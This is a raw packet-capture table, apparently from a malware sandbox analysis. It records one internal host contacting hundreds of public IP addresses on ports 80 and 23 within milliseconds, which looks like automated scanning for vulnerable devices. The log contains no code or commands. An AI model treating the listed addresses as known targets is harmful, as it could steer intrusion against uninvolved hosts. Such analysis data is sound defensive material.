Jun 1, 2024 18:15:54.218270063 CEST	80	43496	47.94.207.183	192.168.2.23
Jun 1, 2024 18:15:54.218281984 CEST	80	43496	163.187.80.93	192.168.2.23
Jun 1, 2024 18:15:54.218286991 CEST	80	43496	43.99.145.32	192.168.2.23
Jun 1, 2024 18:15:54.218291044 CEST	80	43496	143.145.0.215	192.168.2.23
Jun 1, 2024 18:15:54.218291998 CEST	43496	80	192.168.2.23	59.151.178.7
Jun 1, 2024 18:15:54.218291998 CEST	43496	80	192.168.2.23	161.64.64.10
Jun 1, 2024 18:15:54.218296051 CEST	80	43496	208.203.67.8	192.168.2.23
Jun 1, 2024 18:15:54.218302011 CEST	80	43496	126.206.47.9	192.168.2.23
Jun 1, 2024 18:15:54.218303919 CEST	43496	80	192.168.2.23	49.237.180.204
Jun 1, 2024 18:15:54.218303919 CEST	43496	80	192.168.2.23	92.51.19.212
Jun 1, 2024 18:15:54.218311071 CEST	80	43496	57.2.81.185	192.168.2.23
Jun 1, 2024 18:15:54.218312025 CEST	43496	80	192.168.2.23	47.94.207.183
Jun 1, 2024 18:15:54.218317032 CEST	80	43496	37.137.161.72	192.168.2.23
Jun 1, 2024 18:15:54.218318939 CEST	43496	80	192.168.2.23	163.187.80.93
Jun 1, 2024 18:15:54.218322039 CEST	43496	80	192.168.2.23	143.145.0.215
Jun 1, 2024 18:15:54.218322992 CEST	80	43496	70.17.156.132	192.168.2.23
Jun 1, 2024 18:15:54.218323946 CEST	43496	80	192.168.2.23	43.99.145.32
Jun 1, 2024 18:15:54.218327045 CEST	43496	80	192.168.2.23	208.203.67.8
Jun 1, 2024 18:15:54.218328953 CEST	80	43496	135.215.2.15	192.168.2.23
Jun 1, 2024 18:15:54.218334913 CEST	43496	80	192.168.2.23	126.206.47.9
Jun 1, 2024 18:15:54.218343973 CEST	43496	80	192.168.2.23	57.2.81.185
Jun 1, 2024 18:15:54.218344927 CEST	80	43496	188.240.222.142	192.168.2.23
Jun 1, 2024 18:15:54.218348026 CEST	43496	80	192.168.2.23	37.137.161.72
Jun 1, 2024 18:15:54.218350887 CEST	80	43496	151.201.232.159	192.168.2.23
Jun 1, 2024 18:15:54.218360901 CEST	80	43496	200.229.172.175	192.168.2.23
Jun 1, 2024 18:15:54.218365908 CEST	80	43496	19.149.94.196	192.168.2.23
Jun 1, 2024 18:15:54.218370914 CEST	43496	80	192.168.2.23	70.17.156.132
Jun 1, 2024 18:15:54.218370914 CEST	43496	80	192.168.2.23	135.215.2.15
Jun 1, 2024 18:15:54.218374968 CEST	80	43496	2.243.217.160	192.168.2.23
Jun 1, 2024 18:15:54.218383074 CEST	80	43496	133.68.189.222	192.168.2.23
Jun 1, 2024 18:15:54.218385935 CEST	43496	80	192.168.2.23	188.240.222.142
Jun 1, 2024 18:15:54.218388081 CEST	80	43496	112.140.146.180	192.168.2.23
Jun 1, 2024 18:15:54.218389988 CEST	43496	80	192.168.2.23	151.201.232.159
Jun 1, 2024 18:15:54.218394995 CEST	43496	80	192.168.2.23	19.149.94.196
Jun 1, 2024 18:15:54.218403101 CEST	43496	80	192.168.2.23	2.243.217.160
Jun 1, 2024 18:15:54.218408108 CEST	43496	80	192.168.2.23	200.229.172.175
Jun 1, 2024 18:15:54.218408108 CEST	43496	80	192.168.2.23	133.68.189.222
Jun 1, 2024 18:15:54.218408108 CEST	43496	80	192.168.2.23	112.140.146.180
Jun 1, 2024 18:15:54.218736887 CEST	80	43496	136.27.99.128	192.168.2.23
Jun 1, 2024 18:15:54.218749046 CEST	80	43496	164.200.183.12	192.168.2.23
Jun 1, 2024 18:15:54.218756914 CEST	80	43496	115.223.13.62	192.168.2.23
Jun 1, 2024 18:15:54.218766928 CEST	80	43496	38.4.27.151	192.168.2.23
Jun 1, 2024 18:15:54.218772888 CEST	80	43496	110.98.44.88	192.168.2.23
Jun 1, 2024 18:15:54.218775034 CEST	43496	80	192.168.2.23	136.27.99.128
Jun 1, 2024 18:15:54.218780041 CEST	80	43496	158.4.136.25	192.168.2.23
Jun 1, 2024 18:15:54.218789101 CEST	80	43496	208.18.248.217	192.168.2.23
Jun 1, 2024 18:15:54.218791008 CEST	43496	80	192.168.2.23	164.200.183.12
Jun 1, 2024 18:15:54.218810081 CEST	43496	80	192.168.2.23	110.98.44.88
Jun 1, 2024 18:15:54.218811035 CEST	43496	80	192.168.2.23	158.4.136.25
Jun 1, 2024 18:15:54.218813896 CEST	43496	80	192.168.2.23	38.4.27.151
Jun 1, 2024 18:15:54.218813896 CEST	43496	80	192.168.2.23	208.18.248.217
Jun 1, 2024 18:15:54.218821049 CEST	43496	80	192.168.2.23	115.223.13.62
Jun 1, 2024 18:15:54.218837023 CEST	80	43496	20.13.211.62	192.168.2.23
Jun 1, 2024 18:15:54.218842030 CEST	80	43496	43.2.210.149	192.168.2.23
Jun 1, 2024 18:15:54.218852043 CEST	80	43496	97.66.186.192	192.168.2.23
Jun 1, 2024 18:15:54.218869925 CEST	80	43496	128.16.164.49	192.168.2.23
Jun 1, 2024 18:15:54.218882084 CEST	80	43496	165.189.57.92	192.168.2.23
Jun 1, 2024 18:15:54.218883038 CEST	43496	80	192.168.2.23	20.13.211.62
Jun 1, 2024 18:15:54.218887091 CEST	80	43496	150.241.209.252	192.168.2.23
Jun 1, 2024 18:15:54.218899012 CEST	80	43496	32.100.63.11	192.168.2.23
Jun 1, 2024 18:15:54.218904018 CEST	80	43496	192.200.102.196	192.168.2.23
Jun 1, 2024 18:15:54.218907118 CEST	43496	80	192.168.2.23	43.2.210.149
Jun 1, 2024 18:15:54.218909025 CEST	80	43496	53.95.200.247	192.168.2.23
Jun 1, 2024 18:15:54.218911886 CEST	43496	80	192.168.2.23	97.66.186.192
Jun 1, 2024 18:15:54.218914032 CEST	80	43496	115.11.186.228	192.168.2.23
Jun 1, 2024 18:15:54.218919039 CEST	80	43496	152.86.138.109	192.168.2.23
Jun 1, 2024 18:15:54.218920946 CEST	43496	80	192.168.2.23	150.241.209.252
Jun 1, 2024 18:15:54.218923092 CEST	80	43496	113.114.37.119	192.168.2.23
Jun 1, 2024 18:15:54.218924999 CEST	43496	80	192.168.2.23	165.189.57.92
Jun 1, 2024 18:15:54.218924046 CEST	43496	80	192.168.2.23	128.16.164.49
Jun 1, 2024 18:15:54.218938112 CEST	43496	80	192.168.2.23	192.200.102.196
Jun 1, 2024 18:15:54.218939066 CEST	43496	80	192.168.2.23	32.100.63.11
Jun 1, 2024 18:15:54.218939066 CEST	43496	80	192.168.2.23	115.11.186.228
Jun 1, 2024 18:15:54.218944073 CEST	43496	80	192.168.2.23	53.95.200.247
Jun 1, 2024 18:15:54.218947887 CEST	43496	80	192.168.2.23	113.114.37.119
Jun 1, 2024 18:15:54.218969107 CEST	43496	80	192.168.2.23	152.86.138.109
Jun 1, 2024 18:15:54.219329119 CEST	80	43496	114.247.3.87	192.168.2.23
Jun 1, 2024 18:15:54.219336033 CEST	80	43496	68.176.25.89	192.168.2.23
Jun 1, 2024 18:15:54.219346046 CEST	80	43496	209.236.123.20	192.168.2.23
Jun 1, 2024 18:15:54.219350100 CEST	80	43496	133.141.215.153	192.168.2.23
Jun 1, 2024 18:15:54.219360113 CEST	80	43496	192.84.165.58	192.168.2.23
Jun 1, 2024 18:15:54.219366074 CEST	80	43496	198.164.197.162	192.168.2.23
Jun 1, 2024 18:15:54.219381094 CEST	43496	80	192.168.2.23	114.247.3.87
Jun 1, 2024 18:15:54.219381094 CEST	80	43496	114.58.165.82	192.168.2.23
Jun 1, 2024 18:15:54.219384909 CEST	43496	80	192.168.2.23	209.236.123.20
Jun 1, 2024 18:15:54.219384909 CEST	43496	80	192.168.2.23	68.176.25.89
Jun 1, 2024 18:15:54.219388962 CEST	80	43496	24.41.216.255	192.168.2.23
Jun 1, 2024 18:15:54.219392061 CEST	43496	80	192.168.2.23	133.141.215.153
Jun 1, 2024 18:15:54.219399929 CEST	80	43496	14.211.254.117	192.168.2.23
Jun 1, 2024 18:15:54.219405890 CEST	80	43496	142.227.38.31	192.168.2.23
Jun 1, 2024 18:15:54.219405890 CEST	43496	80	192.168.2.23	192.84.165.58
Jun 1, 2024 18:15:54.219408989 CEST	43496	80	192.168.2.23	198.164.197.162
Jun 1, 2024 18:15:54.219410896 CEST	80	43496	43.23.146.178	192.168.2.23
Jun 1, 2024 18:15:54.219417095 CEST	23	53992	197.13.105.153	192.168.2.23
Jun 1, 2024 18:15:54.219422102 CEST	80	43496	80.142.24.3	192.168.2.23
Jun 1, 2024 18:15:54.219429970 CEST	43496	80	192.168.2.23	114.58.165.82
Jun 1, 2024 18:15:54.219432116 CEST	23	33958	94.202.3.93	192.168.2.23
Jun 1, 2024 18:15:54.219434023 CEST	43496	80	192.168.2.23	14.211.254.117
Jun 1, 2024 18:15:54.219435930 CEST	43496	80	192.168.2.23	24.41.216.255
Jun 1, 2024 18:15:54.219448090 CEST	43496	80	192.168.2.23	43.23.146.178
Jun 1, 2024 18:15:54.219449997 CEST	43496	80	192.168.2.23	142.227.38.31
Jun 1, 2024 18:15:54.219454050 CEST	43496	80	192.168.2.23	80.142.24.3
Jun 1, 2024 18:15:54.219496012 CEST	53992	23	192.168.2.23	197.13.105.153
Jun 1, 2024 18:15:54.219522953 CEST	55502	23	192.168.2.23	197.13.105.153
Jun 1, 2024 18:15:54.219547033 CEST	33958	23	192.168.2.23	94.202.3.93
Jun 1, 2024 18:15:54.219564915 CEST	35578	23	192.168.2.23	94.202.3.93
Jun 1, 2024 18:15:54.219696045 CEST	80	43496	193.55.47.22	192.168.2.23
Jun 1, 2024 18:15:54.219701052 CEST	80	43496	189.5.227.171	192.168.2.23
Jun 1, 2024 18:15:54.219711065 CEST	80	43496	14.80.101.244	192.168.2.23
Jun 1, 2024 18:15:54.219743967 CEST	43496	80	192.168.2.23	193.55.47.22
Jun 1, 2024 18:15:54.219746113 CEST	43496	80	192.168.2.23	189.5.227.171
Jun 1, 2024 18:15:54.219755888 CEST	80	43496	43.239.133.174	192.168.2.23
Jun 1, 2024 18:15:54.219762087 CEST	80	43496	160.38.58.212	192.168.2.23
Jun 1, 2024 18:15:54.219767094 CEST	80	43496	35.48.102.44	192.168.2.23
Jun 1, 2024 18:15:54.219770908 CEST	80	43496	52.72.234.96	192.168.2.23
Jun 1, 2024 18:15:54.219770908 CEST	43496	80	192.168.2.23	14.80.101.244
Jun 1, 2024 18:15:54.219775915 CEST	80	43496	108.248.186.0	192.168.2.23
Jun 1, 2024 18:15:54.219791889 CEST	80	43496	148.180.125.152	192.168.2.23
Jun 1, 2024 18:15:54.219795942 CEST	80	43496	128.124.222.88	192.168.2.23
Jun 1, 2024 18:15:54.219808102 CEST	43496	80	192.168.2.23	43.239.133.174
Jun 1, 2024 18:15:54.219809055 CEST	43496	80	192.168.2.23	160.38.58.212
Jun 1, 2024 18:15:54.219855070 CEST	43496	80	192.168.2.23	35.48.102.44
Jun 1, 2024 18:15:54.219855070 CEST	43496	80	192.168.2.23	52.72.234.96
Jun 1, 2024 18:15:54.219861031 CEST	43496	80	192.168.2.23	108.248.186.0
Jun 1, 2024 18:15:54.219861031 CEST	43496	80	192.168.2.23	148.180.125.152
Jun 1, 2024 18:15:54.219881058 CEST	43496	80	192.168.2.23	128.124.222.88
Jun 1, 2024 18:15:54.220169067 CEST	80	43496	141.101.180.99	192.168.2.23
Jun 1, 2024 18:15:54.220174074 CEST	80	43496	86.145.252.50	192.168.2.23
Jun 1, 2024 18:15:54.220185041 CEST	80	43496	190.97.183.126	192.168.2.23
Jun 1, 2024 18:15:54.220191002 CEST	80	43496	219.192.204.139	192.168.2.23
Jun 1, 2024 18:15:54.220205069 CEST	80	43496	125.152.186.9	192.168.2.23
Jun 1, 2024 18:15:54.220210075 CEST	80	43496	147.107.85.71	192.168.2.23
Jun 1, 2024 18:15:54.220221043 CEST	80	43496	181.227.239.14	192.168.2.23
Jun 1, 2024 18:15:54.220221043 CEST	43496	80	192.168.2.23	86.145.252.50
Jun 1, 2024 18:15:54.220222950 CEST	43496	80	192.168.2.23	219.192.204.139
Jun 1, 2024 18:15:54.220228910 CEST	80	43496	169.99.182.86	192.168.2.23
Jun 1, 2024 18:15:54.220227957 CEST	43496	80	192.168.2.23	141.101.180.99
Jun 1, 2024 18:15:54.220231056 CEST	43496	80	192.168.2.23	190.97.183.126
Jun 1, 2024 18:15:54.220242023 CEST	80	43496	126.239.37.54	192.168.2.23
Jun 1, 2024 18:15:54.220247030 CEST	80	43496	166.248.245.187	192.168.2.23
Jun 1, 2024 18:15:54.220252037 CEST	80	43496	96.12.114.235	192.168.2.23
Jun 1, 2024 18:15:54.220252991 CEST	43496	80	192.168.2.23	125.152.186.9
Jun 1, 2024 18:15:54.220257044 CEST	80	43496	96.109.29.239	192.168.2.23
Jun 1, 2024 18:15:54.220262051 CEST	80	43496	161.58.152.216	192.168.2.23
Jun 1, 2024 18:15:54.220267057 CEST	43496	80	192.168.2.23	181.227.239.14
Jun 1, 2024 18:15:54.220267057 CEST	43496	80	192.168.2.23	169.99.182.86
Jun 1, 2024 18:15:54.220268011 CEST	43496	80	192.168.2.23	147.107.85.71
Jun 1, 2024 18:15:54.220268965 CEST	80	43496	66.79.1.164	192.168.2.23
Jun 1, 2024 18:15:54.220274925 CEST	80	43496	165.229.194.166	192.168.2.23
Jun 1, 2024 18:15:54.220280886 CEST	80	43496	139.236.66.41	192.168.2.23
Jun 1, 2024 18:15:54.220288992 CEST	43496	80	192.168.2.23	126.239.37.54
Jun 1, 2024 18:15:54.220299006 CEST	43496	80	192.168.2.23	96.12.114.235
Jun 1, 2024 18:15:54.220299006 CEST	43496	80	192.168.2.23	66.79.1.164
Jun 1, 2024 18:15:54.220300913 CEST	43496	80	192.168.2.23	166.248.245.187
Jun 1, 2024 18:15:54.220302105 CEST	43496	80	192.168.2.23	96.109.29.239
Jun 1, 2024 18:15:54.220300913 CEST	43496	80	192.168.2.23	161.58.152.216
Jun 1, 2024 18:15:54.220300913 CEST	43496	80	192.168.2.23	165.229.194.166
Jun 1, 2024 18:15:54.220304012 CEST	43496	80	192.168.2.23	139.236.66.41
Jun 1, 2024 18:15:54.220791101 CEST	80	43496	60.165.193.148	192.168.2.23
Jun 1, 2024 18:15:54.220802069 CEST	80	43496	146.241.62.130	192.168.2.23
Jun 1, 2024 18:15:54.220813036 CEST	80	43496	67.34.134.251	192.168.2.23
Jun 1, 2024 18:15:54.220818043 CEST	80	43496	196.84.156.19	192.168.2.23
Jun 1, 2024 18:15:54.220870018 CEST	43496	80	192.168.2.23	60.165.193.148
Jun 1, 2024 18:15:54.220870972 CEST	43496	80	192.168.2.23	146.241.62.130
Jun 1, 2024 18:15:54.220875025 CEST	43496	80	192.168.2.23	196.84.156.19
Jun 1, 2024 18:15:54.220880032 CEST	43496	80	192.168.2.23	67.34.134.251
Jun 1, 2024 18:15:54.220894098 CEST	80	43496	173.142.129.181	192.168.2.23
Jun 1, 2024 18:15:54.220899105 CEST	23	39146	148.206.13.124	192.168.2.23
Jun 1, 2024 18:15:54.220904112 CEST	23	35134	124.185.80.56	192.168.2.23
Jun 1, 2024 18:15:54.220915079 CEST	80	43496	197.51.172.192	192.168.2.23
Jun 1, 2024 18:15:54.220925093 CEST	23	65001	92.171.233.54	192.168.2.23
Jun 1, 2024 18:15:54.220928907 CEST	23	65001	137.154.161.90	192.168.2.23
Jun 1, 2024 18:15:54.220930099 CEST	39146	23	192.168.2.23	148.206.13.124
Jun 1, 2024 18:15:54.220933914 CEST	23	65001	19.84.208.216	192.168.2.23
Jun 1, 2024 18:15:54.220937014 CEST	43496	80	192.168.2.23	173.142.129.181
Jun 1, 2024 18:15:54.220937967 CEST	35134	23	192.168.2.23	124.185.80.56
Jun 1, 2024 18:15:54.220938921 CEST	23	65001	109.201.40.246	192.168.2.23
Jun 1, 2024 18:15:54.220949888 CEST	80	43496	136.183.203.7	192.168.2.23
Jun 1, 2024 18:15:54.220956087 CEST	80	43496	144.230.208.46	192.168.2.23
Jun 1, 2024 18:15:54.220961094 CEST	80	43496	2.106.68.170	192.168.2.23
Jun 1, 2024 18:15:54.220962048 CEST	43496	80	192.168.2.23	197.51.172.192
Jun 1, 2024 18:15:54.220963955 CEST	65001	23	192.168.2.23	137.154.161.90
Jun 1, 2024 18:15:54.220966101 CEST	80	43496	72.152.4.111	192.168.2.23
Jun 1, 2024 18:15:54.220967054 CEST	65001	23	192.168.2.23	92.171.233.54
Jun 1, 2024 18:15:54.220976114 CEST	80	43496	164.55.92.103	192.168.2.23
Jun 1, 2024 18:15:54.220979929 CEST	65001	23	192.168.2.23	109.201.40.246
Jun 1, 2024 18:15:54.220980883 CEST	65001	23	192.168.2.23	19.84.208.216
Jun 1, 2024 18:15:54.220982075 CEST	80	43496	109.64.230.88	192.168.2.23
Jun 1, 2024 18:15:54.220983982 CEST	43496	80	192.168.2.23	136.183.203.7
Jun 1, 2024 18:15:54.220984936 CEST	43496	80	192.168.2.23	144.230.208.46
Jun 1, 2024 18:15:54.220987082 CEST	80	43496	151.186.15.235	192.168.2.23
Jun 1, 2024 18:15:54.220992088 CEST	43496	80	192.168.2.23	2.106.68.170
Jun 1, 2024 18:15:54.220992088 CEST	80	43496	133.93.108.5	192.168.2.23
Jun 1, 2024 18:15:54.220995903 CEST	43496	80	192.168.2.23	72.152.4.111
Jun 1, 2024 18:15:54.221004963 CEST	80	43496	140.204.143.107	192.168.2.23
Jun 1, 2024 18:15:54.221014023 CEST	80	43496	105.188.228.123	192.168.2.23
Jun 1, 2024 18:15:54.221014023 CEST	43496	80	192.168.2.23	109.64.230.88
Jun 1, 2024 18:15:54.221014977 CEST	43496	80	192.168.2.23	164.55.92.103
Jun 1, 2024 18:15:54.221019030 CEST	80	43496	114.174.198.86	192.168.2.23
Jun 1, 2024 18:15:54.221024036 CEST	80	43496	145.84.214.65	192.168.2.23
Jun 1, 2024 18:15:54.221024990 CEST	43496	80	192.168.2.23	151.186.15.235
Jun 1, 2024 18:15:54.221028090 CEST	80	43496	126.248.102.210	192.168.2.23
Jun 1, 2024 18:15:54.221029043 CEST	43496	80	192.168.2.23	133.93.108.5
Jun 1, 2024 18:15:54.221034050 CEST	80	43496	217.255.183.32	192.168.2.23
Jun 1, 2024 18:15:54.221051931 CEST	43496	80	192.168.2.23	140.204.143.107
Jun 1, 2024 18:15:54.221056938 CEST	43496	80	192.168.2.23	105.188.228.123
Jun 1, 2024 18:15:54.221057892 CEST	43496	80	192.168.2.23	145.84.214.65
Jun 1, 2024 18:15:54.221061945 CEST	43496	80	192.168.2.23	114.174.198.86
Jun 1, 2024 18:15:54.221084118 CEST	43496	80	192.168.2.23	217.255.183.32
Jun 1, 2024 18:15:54.221091032 CEST	43496	80	192.168.2.23	126.248.102.210
Jun 1, 2024 18:15:54.221319914 CEST	80	43496	27.143.192.217	192.168.2.23
Jun 1, 2024 18:15:54.221326113 CEST	80	43496	147.176.8.5	192.168.2.23
Jun 1, 2024 18:15:54.221335888 CEST	80	43496	128.246.143.34	192.168.2.23
Jun 1, 2024 18:15:54.221349955 CEST	80	43496	12.66.126.245	192.168.2.23
Jun 1, 2024 18:15:54.221354008 CEST	80	43496	73.78.79.111	192.168.2.23
Jun 1, 2024 18:15:54.221359015 CEST	80	43496	35.125.4.202	192.168.2.23
Jun 1, 2024 18:15:54.221363068 CEST	80	43496	59.132.232.66	192.168.2.23
Jun 1, 2024 18:15:54.221368074 CEST	80	43496	80.162.78.85	192.168.2.23
Jun 1, 2024 18:15:54.221368074 CEST	43496	80	192.168.2.23	27.143.192.217
Jun 1, 2024 18:15:54.221376896 CEST	43496	80	192.168.2.23	73.78.79.111
Jun 1, 2024 18:15:54.221378088 CEST	43496	80	192.168.2.23	128.246.143.34
Jun 1, 2024 18:15:54.221379995 CEST	43496	80	192.168.2.23	12.66.126.245
Jun 1, 2024 18:15:54.221385002 CEST	43496	80	192.168.2.23	147.176.8.5
Jun 1, 2024 18:15:54.221395969 CEST	43496	80	192.168.2.23	59.132.232.66
Jun 1, 2024 18:15:54.221398115 CEST	43496	80	192.168.2.23	35.125.4.202
Jun 1, 2024 18:15:54.221405029 CEST	43496	80	192.168.2.23	80.162.78.85
Jun 1, 2024 18:15:54.221750975 CEST	80	43496	43.158.211.231	192.168.2.23
Jun 1, 2024 18:15:54.221761942 CEST	80	43496	23.93.48.4	192.168.2.23
Jun 1, 2024 18:15:54.221767902 CEST	80	43496	27.227.101.212	192.168.2.23
Jun 1, 2024 18:15:54.221796036 CEST	43496	80	192.168.2.23	43.158.211.231
Jun 1, 2024 18:15:54.221796036 CEST	43496	80	192.168.2.23	23.93.48.4
Jun 1, 2024 18:15:54.221813917 CEST	80	43496	9.201.136.199	192.168.2.23
Jun 1, 2024 18:15:54.221838951 CEST	43496	80	192.168.2.23	27.227.101.212
Jun 1, 2024 18:15:54.221858025 CEST	80	43496	106.53.177.70	192.168.2.23
Jun 1, 2024 18:15:54.221863985 CEST	80	43496	87.238.127.186	192.168.2.23
Jun 1, 2024 18:15:54.221864939 CEST	43496	80	192.168.2.23	9.201.136.199
Jun 1, 2024 18:15:54.221874952 CEST	80	43496	176.152.203.138	192.168.2.23
Jun 1, 2024 18:15:54.221879959 CEST	80	43496	154.46.4.40	192.168.2.23
Jun 1, 2024 18:15:54.221894979 CEST	80	43496	109.185.95.141	192.168.2.23
Jun 1, 2024 18:15:54.221899986 CEST	80	43496	113.150.154.46	192.168.2.23
Jun 1, 2024 18:15:54.221900940 CEST	43496	80	192.168.2.23	87.238.127.186
Jun 1, 2024 18:15:54.221904993 CEST	80	43496	191.118.45.8	192.168.2.23
Jun 1, 2024 18:15:54.221910000 CEST	80	43496	195.197.138.90	192.168.2.23
Jun 1, 2024 18:15:54.221910954 CEST	43496	80	192.168.2.23	106.53.177.70
Jun 1, 2024 18:15:54.221915007 CEST	80	43496	169.53.29.41	192.168.2.23
Jun 1, 2024 18:15:54.221915007 CEST	43496	80	192.168.2.23	176.152.203.138
Jun 1, 2024 18:15:54.221919060 CEST	43496	80	192.168.2.23	154.46.4.40
Jun 1, 2024 18:15:54.221920013 CEST	80	43496	120.198.14.153	192.168.2.23
Jun 1, 2024 18:15:54.221937895 CEST	43496	80	192.168.2.23	113.150.154.46
Jun 1, 2024 18:15:54.221940994 CEST	43496	80	192.168.2.23	191.118.45.8
Jun 1, 2024 18:15:54.221941948 CEST	43496	80	192.168.2.23	109.185.95.141
Jun 1, 2024 18:15:54.221941948 CEST	43496	80	192.168.2.23	195.197.138.90
Jun 1, 2024 18:15:54.221947908 CEST	80	43496	134.244.214.250	192.168.2.23
Jun 1, 2024 18:15:54.221950054 CEST	43496	80	192.168.2.23	169.53.29.41
Jun 1, 2024 18:15:54.221950054 CEST	43496	80	192.168.2.23	120.198.14.153
Jun 1, 2024 18:15:54.221952915 CEST	80	43496	114.5.244.60	192.168.2.23
Jun 1, 2024 18:15:54.221965075 CEST	80	43496	207.168.235.90	192.168.2.23
Jun 1, 2024 18:15:54.221970081 CEST	80	43496	57.179.78.95	192.168.2.23
Jun 1, 2024 18:15:54.221992016 CEST	43496	80	192.168.2.23	114.5.244.60
Jun 1, 2024 18:15:54.222002029 CEST	43496	80	192.168.2.23	57.179.78.95
Jun 1, 2024 18:15:54.222002029 CEST	43496	80	192.168.2.23	134.244.214.250
Jun 1, 2024 18:15:54.222011089 CEST	43496	80	192.168.2.23	207.168.235.90
Jun 1, 2024 18:15:54.222369909 CEST	80	43496	201.187.221.169	192.168.2.23
Jun 1, 2024 18:15:54.222378016 CEST	80	43496	194.92.176.217	192.168.2.23
Jun 1, 2024 18:15:54.222418070 CEST	80	43496	65.47.204.93	192.168.2.23
Jun 1, 2024 18:15:54.222424030 CEST	80	43496	83.204.166.240	192.168.2.23
Jun 1, 2024 18:15:54.222426891 CEST	43496	80	192.168.2.23	201.187.221.169
Jun 1, 2024 18:15:54.222429037 CEST	80	43496	45.235.11.237	192.168.2.23
Jun 1, 2024 18:15:54.222435951 CEST	43496	80	192.168.2.23	194.92.176.217
Jun 1, 2024 18:15:54.222444057 CEST	80	43496	42.58.19.77	192.168.2.23
Jun 1, 2024 18:15:54.222449064 CEST	80	43496	1.93.5.229	192.168.2.23
Jun 1, 2024 18:15:54.222459078 CEST	80	43496	27.102.174.29	192.168.2.23
Jun 1, 2024 18:15:54.222459078 CEST	43496	80	192.168.2.23	65.47.204.93
Jun 1, 2024 18:15:54.222464085 CEST	80	43496	116.170.88.141	192.168.2.23
Jun 1, 2024 18:15:54.222466946 CEST	43496	80	192.168.2.23	45.235.11.237
Jun 1, 2024 18:15:54.222469091 CEST	43496	80	192.168.2.23	83.204.166.240
Jun 1, 2024 18:15:54.222484112 CEST	80	43496	112.247.70.18	192.168.2.23
Jun 1, 2024 18:15:54.222485065 CEST	43496	80	192.168.2.23	1.93.5.229
Jun 1, 2024 18:15:54.222490072 CEST	80	43496	24.59.144.29	192.168.2.23
Jun 1, 2024 18:15:54.222495079 CEST	80	43496	109.182.132.244	192.168.2.23
Jun 1, 2024 18:15:54.222495079 CEST	43496	80	192.168.2.23	42.58.19.77
Jun 1, 2024 18:15:54.222495079 CEST	43496	80	192.168.2.23	27.102.174.29
Jun 1, 2024 18:15:54.222498894 CEST	43496	80	192.168.2.23	116.170.88.141
Jun 1, 2024 18:15:54.222500086 CEST	80	43496	126.210.55.25	192.168.2.23
Jun 1, 2024 18:15:54.222506046 CEST	80	43496	169.125.143.248	192.168.2.23
Jun 1, 2024 18:15:54.222510099 CEST	80	43496	139.1.41.83	192.168.2.23
Jun 1, 2024 18:15:54.222515106 CEST	80	43496	185.147.77.181	192.168.2.23
Jun 1, 2024 18:15:54.222520113 CEST	80	43496	76.234.216.94	192.168.2.23
Jun 1, 2024 18:15:54.222562075 CEST	43496	80	192.168.2.23	112.247.70.18
Jun 1, 2024 18:15:54.222562075 CEST	43496	80	192.168.2.23	109.182.132.244
Jun 1, 2024 18:15:54.222562075 CEST	43496	80	192.168.2.23	139.1.41.83
Jun 1, 2024 18:15:54.222562075 CEST	43496	80	192.168.2.23	126.210.55.25
Jun 1, 2024 18:15:54.222563028 CEST	43496	80	192.168.2.23	169.125.143.248
Jun 1, 2024 18:15:54.222565889 CEST	43496	80	192.168.2.23	24.59.144.29
Jun 1, 2024 18:15:54.222568989 CEST	43496	80	192.168.2.23	185.147.77.181
Jun 1, 2024 18:15:54.222578049 CEST	43496	80	192.168.2.23	76.234.216.94
Jun 1, 2024 18:15:54.222594976 CEST	80	43496	34.78.244.111	192.168.2.23
Jun 1, 2024 18:15:54.222601891 CEST	80	43496	113.29.105.250	192.168.2.23
Jun 1, 2024 18:15:54.222641945 CEST	43496	80	192.168.2.23	113.29.105.250
Jun 1, 2024 18:15:54.222727060 CEST	43496	80	192.168.2.23	34.78.244.111
Jun 1, 2024 18:15:54.222836971 CEST	80	58314	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.222847939 CEST	80	58314	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.222852945 CEST	80	59692	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.222882032 CEST	23	65001	197.231.223.182	192.168.2.23
Jun 1, 2024 18:15:54.222894907 CEST	59692	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:54.222923994 CEST	65001	23	192.168.2.23	197.231.223.182
Jun 1, 2024 18:15:54.222929955 CEST	59692	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:54.223105907 CEST	44574	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.223196030 CEST	50056	80	192.168.2.23	100.5.75.185
Jun 1, 2024 18:15:54.223207951 CEST	37034	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.223223925 CEST	54410	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.223244905 CEST	60472	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.223261118 CEST	23	65001	164.11.196.84	192.168.2.23
Jun 1, 2024 18:15:54.223267078 CEST	23	65001	54.19.187.204	192.168.2.23
Jun 1, 2024 18:15:54.223273993 CEST	36480	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.223274946 CEST	23	65001	166.154.239.176	192.168.2.23
Jun 1, 2024 18:15:54.223273993 CEST	58546	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.223279953 CEST	23	65001	139.207.30.161	192.168.2.23
Jun 1, 2024 18:15:54.223284006 CEST	41606	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.223300934 CEST	23	65001	119.96.57.1	192.168.2.23
Jun 1, 2024 18:15:54.223304987 CEST	65001	23	192.168.2.23	164.11.196.84
Jun 1, 2024 18:15:54.223304987 CEST	65001	23	192.168.2.23	54.19.187.204
Jun 1, 2024 18:15:54.223305941 CEST	23	65001	179.167.76.80	192.168.2.23
Jun 1, 2024 18:15:54.223309040 CEST	65001	23	192.168.2.23	166.154.239.176
Jun 1, 2024 18:15:54.223309994 CEST	47054	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.223310947 CEST	23	65001	70.102.7.168	192.168.2.23
Jun 1, 2024 18:15:54.223315001 CEST	23	65001	57.107.90.121	192.168.2.23
Jun 1, 2024 18:15:54.223316908 CEST	65001	23	192.168.2.23	139.207.30.161
Jun 1, 2024 18:15:54.223325968 CEST	23	65001	66.30.224.117	192.168.2.23
Jun 1, 2024 18:15:54.223337889 CEST	65001	23	192.168.2.23	119.96.57.1
Jun 1, 2024 18:15:54.223339081 CEST	65001	23	192.168.2.23	179.167.76.80
Jun 1, 2024 18:15:54.223342896 CEST	65001	23	192.168.2.23	57.107.90.121
Jun 1, 2024 18:15:54.223347902 CEST	65001	23	192.168.2.23	70.102.7.168
